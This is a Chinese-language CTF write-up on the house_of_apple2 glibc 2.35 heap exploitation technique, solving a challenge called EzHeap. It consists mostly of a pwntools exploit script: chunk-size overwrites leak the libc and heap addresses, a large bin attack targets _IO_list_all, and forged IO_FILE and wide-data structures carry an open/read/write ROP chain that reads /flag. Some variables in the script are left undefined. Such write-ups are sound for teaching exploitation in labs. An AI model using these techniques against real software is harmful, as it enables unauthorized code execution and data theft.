深入分析 house_of_apple2 的堆利用技巧
在本文中,我们将深入探讨如何通过 house_of_apple2 技巧实现堆利用。以今年国赛的题目 EzHeap 为例,详细解析在 glibc 2.35 删除 svcudp_reply 函数后,如何通过构造特定条件来读取 flag。
环境与功能分析
EzHeap 提供了基本的增删改查功能:
- 增:创建堆块时会将内容初始化为 0。
- 删:释放堆块后,指针被置零,无法进行 UAF 攻击。
- 改:用户可自定义输入长度,存在潜在漏洞。
- 查:展示堆块内容,使用
printf(%s)输出,直到遇到\x00结束。
漏洞点
通过以下步骤可以泄露 libc 基址和堆地址,并最终实现攻击:
- 创建多个堆块,释放一个大堆块进入 unsorted bin。
- 修改当前 chunk 和下一个 chunk 的 size 段及 pre_size,使得调用 show() 时能够打印出所有内容。
- 申请更大的堆块,迫使目标 chunk 进入 large bin,从而实现地址泄露和 large bin attack。
以下是具体代码实现:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./EzHeap.backup')
elf = ELF('./EzHeap.backup')
libc = ELF('/home/user/glibc/libs/2.35/libc.so.6')
def create(size, content):
p.recvuntil(b'>> ')
p.sendline(b'1')
p.recvuntil(b'size: ')
p.sendline(str(size).encode())
p.recvuntil(b'content: ')
p.send(content)
def delete(idx):
p.recvuntil(b'>> ')
p.sendline(b'2')
p.recvuntil(b'idx: ')
p.sendline(str(idx))
def edit(idx, length, content):
p.recvuntil(b'>> ')
p.sendline(b'3')
p.recvuntil(b'idx: ')
p.sendline(str(idx))
p.recvuntil(b'size: ')
p.sendline(str(length))
p.recvuntil(b'content: ')
p.send(content)
def show(idx):
p.recvuntil(b'>> ')
p.sendline(b'4')
p.recvuntil(b'idx: ')
p.sendline(str(idx))
# 初始化堆块
create(0x200, b'/flag\x00') # 0
create(0x420, b'A' * 16) # 1
create(0x200, b'/flag\x00') # 2
create(0x410, b'A' * 16) # 3
delete(1)
edit(0, 0x210, b'B' * 0x20f + b'C')
show(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x21ace0
print(f"libc_base = {hex(libc_base)}")
# 恢复堆块状态
edit(0, 0x210, b'B' * 0x200 + p64(0) + p64(0x431))
create(0x430, b'D') # 1
edit(0, 0x210, b'B' * 0x20f + b'C')
show(0)
fd = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
edit(0, 0x220, b'B' * 0x21f + b'C')
show(0)
p.recvuntil(b'ac')
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - (0x5617db1db510 - 0x5617db1d9000)
print(f"heap_base = {hex(heap_base)}")
# 恢复并设置伪造链表
edit(0, 0x230, b'B' * 0x200 + p64(0) + p64(0x431) + p64(fd) * 2 +
p64(heap_base + 0x5617db1db510 - 0x5617db1d9000) +
p64(libc_base + libc.sym['_IO_list_all'] - 0x20))
伪造 IO_FILE 和 IO_wide_data
为了触发特定函数调用链,我们伪造如下结构体:
fake_IO_FILE = flat({
0x0: 0, # _IO_read_end
0x8: 0, # _IO_read_base
0x10: 0, # _IO_write_base
0x18: 0, # _IO_write_ptr
0x20: 0, # _IO_write_end
0x28: 0, # _IO_buf_base
0x30: 0, # _IO_buf_end
0x38: 0, # _IO_save_base
0x40: 0, # _IO_backup_base
0x48: 0, # _IO_save_end
0x50: 0, # _markers
0x58: 0, # _chain
0x60: 0, # _fileno
0x68: 0, # _old_offset
0x70: 0, # _cur_column
0x78: 0, # _lock
0x80: 0, # _offset
0x88: 0, # _codecvt
0x90: heap_base + 0x5635cdee0310 - 0x5635cdede000, # _wide_data
0x98: 0, # _freeres_list
0xa0: 0, # _freeres_buf
0xa8: 0, # __pad5
0xb0: 0, # _mode
0xc8: libc_base + libc.sym['_IO_wfile_jumps']
})
fake_IO_wide_data = flat({
0x0: [
libc_base + 0x000000000002a3e5, # pop rdi
heap_base + 0x5626d7c3b950 - 0x5626d7c39000,
libc_base + 0x000000000002be51, # pop rsi ; ret
0,
libc_base + 0x000000000011f2e7, # pop rdx ; pop r12 ; ret
0,
0,
libc_base + 0x0000000000045eb0, # pop rax ; ret
2,
libc_base + libc.sym['syscall'] + 27,
libc_base + 0x000000000002a3e5, # pop rdi
3,
libc_base + 0x000000000002be51, # pop rsi ; ret
heap_base + 0x5626d7c3b950 - 0x5626d7c39000,
libc_base + 0x000000000011f2e7, # pop rdx ; pop r12 ; ret
0x100,
0,
read_addr,
libc_base + 0x000000000002a3e5, # pop rdi
1,
write_addr
],
0xe0: heap_base + 0x5635cdee03f0 - 0x5635cdede000,
0x148: libc_base + 0x000000000005a120 # mov rsp, rdx ; ret
})
最后,通过 largbin 操作完成攻击流程。
完整 exp 参见附件。